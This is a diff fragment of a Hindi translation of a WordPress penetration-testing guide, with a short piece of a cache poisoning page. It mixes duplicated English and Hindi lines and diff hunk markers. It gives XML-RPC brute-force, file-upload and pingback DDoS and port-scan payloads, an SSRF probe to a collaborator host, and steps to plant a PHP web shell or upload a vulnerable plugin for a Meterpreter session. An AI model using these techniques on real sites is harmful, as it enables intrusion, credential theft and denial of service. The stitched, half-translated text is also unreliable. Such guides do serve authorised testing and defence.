- जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contains useful information such as the version WordPress installed.
|
||||
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
|
||||
- Login folders (may be renamed to hide it):
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि स्थापित WordPress का संस्करण।
|
||||
- `wp-activate.php` नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है।
|
||||
- लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- The `wp-content` folder is the main directory where plugins and themes are stored.
|
||||
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
|
||||
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
|
||||
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करता है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
|
||||
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
|
||||
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
|
||||
- `wp-config.php` फ़ाइल में डेटाबेस से कनेक्ट करने के लिए WordPress द्वारा आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
|
||||
|
||||
### Users Permissions
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Publish and manages his and others posts
|
||||
- **Author**: Publish and manage his own posts
|
||||
- **Contributor**: Write and manage his posts but cannot publish them
|
||||
- **Subscriber**: Browser posts and edit their profile
|
||||
- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपने प्रोफ़ाइल को संपादित करता है
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
Check if you can find the files `/license.txt` or `/readme.html`
|
||||
जांचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` पा सकते हैं
|
||||
|
||||
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
पृष्ठ के **स्रोत कोड** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) से):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -72,20 +72,20 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### सामान्य में संस्करण निकालें
|
||||
### सामान्य रूप से संस्करण निकालें
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## सक्रिय सूचीकरण
|
||||
|
||||
### Plugins and Themes
|
||||
### प्लगइन्स और थीम
|
||||
|
||||
आप शायद सभी Plugins और Themes नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **Plugins और Themes की एक सूची पर सक्रिय रूप से Brute Force** करना होगा (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।
|
||||
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।
|
||||
|
||||
### Users
|
||||
### उपयोगकर्ता
|
||||
|
||||
- **ID Brute:** आप Brute Forcing उपयोगकर्ताओं के IDs द्वारा एक WordPress साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
- **आईडी ब्रूट:** आप ब्रूट फोर्सिंग उपयोगकर्ता आईडी के माध्यम से एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -109,10 +109,10 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुँचने की कोशिश करें और यह अनुरोध भेजें:
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुंचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
|
||||
**जांचें**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -122,8 +122,8 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**क्रेडेंशियल्स ब्रूटफोर्स**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
|
||||
```markup
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
.png>)
|
||||
|
||||
सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -174,13 +174,13 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
|
||||
|
||||
**2FA को बायपास करें**
|
||||
|
||||
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्य नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
|
||||
**DDoS या पोर्ट स्कैनिंग**
|
||||
|
||||
यदि आप सूची में _**pingback.ping**_ विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
|
||||
इसका उपयोग **हजारों** Wordpress **साइटों** से **एक** **स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
|
||||
```markup
|
||||
यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
|
||||
इसका उपयोग **हजारों** Wordpress **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -191,12 +191,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
|
||||
```
|
||||

|
||||
|
||||
यदि आपको **faultCode** एक मान **greater** फिर **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
यदि आपको **faultCode** एक मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
|
||||
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
|
||||
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर ध्यान दें।
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -210,16 +210,16 @@ DDoS का कारण बनने के लिए इस विधि क
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** निष्पादित होती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी एक क्लाइंट किसी भी Wordpress पृष्ठ का अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** चलाई जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
|
||||
Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए)।
|
||||
Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनानाrecommended है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए)।
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है।
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।
|
||||
|
||||
यह प्रतिक्रिया है जब यह काम नहीं करता:
|
||||
जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -229,7 +229,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने की कोशिश करता है।
|
||||
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है।
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -246,9 +246,9 @@ return new WP_Error(
|
||||
```
|
||||
## **पैनल RCE**
|
||||
|
||||
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)**
|
||||
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (दाईं ओर)
|
||||
दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
|
||||
|
||||
एक php शेल के लिए सामग्री बदलें:
|
||||
|
||||
@ -277,7 +277,7 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
प्लगइन अपलोड करें और Install Now दबाएं:
|
||||
प्लगइन अपलोड करें और Install Now पर क्लिक करें:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,25 +295,25 @@ Procced पर क्लिक करें:
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन को शामिल करती है और इसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
यह विधि एक ज्ञात कमजोर दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहां**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
|
||||
- डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार जब प्लगइन सफलतापूर्वक स्थापित हो जाए, तो इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
|
||||
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है।
|
||||
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह कमजोर है।
|
||||
- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है।
|
||||
|
||||
सामग्री में WordPress डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
सामग्री में WordPress डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
|
||||
**अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** कमजोरी को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
|
||||
- _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें।
|
||||
@ -338,9 +338,9 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जो **किसी भी उपयोगकर्ता के पास हो सकता है जो Wordpress उदाहरण में प्रमाणित है** (इसके भूमिका के स्वतंत्र)।
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)।
|
||||
|
||||
ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:
|
||||
ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
|
||||
- **REST API**
|
||||
|
||||
यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शन को उजागर करना भी संभव है:
|
||||
यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -362,13 +362,13 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` एक फ़ंक्शन के लिए कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।
|
||||
`permission_callback` एक ऐसा कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।
|
||||
|
||||
**यदि अंतर्निहित `__return_true` फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।**
|
||||
|
||||
- **php फ़ाइल तक सीधी पहुँच**
|
||||
|
||||
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
|
||||
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
|
||||
|
||||
## WordPress सुरक्षा
|
||||
|
||||
@ -380,7 +380,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें**।
|
||||
Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स इंस्टॉल करें**।
|
||||
|
||||
### सुरक्षा प्लगइन्स
|
||||
|
||||
|
||||
@ -13,11 +13,11 @@
|
||||
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
|
||||
कैश पॉइज़निंग हमले का निष्पादन कई चरणों में होता है:
|
||||
कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:
|
||||
|
||||
1. **अनकीद इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषण के दौरान प्रभावित पृष्ठ तक पहुंचने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
|
||||
### खोज: HTTP हेडर की जांच करें
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
### खोज: कैशिंग त्रुटि कोड
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
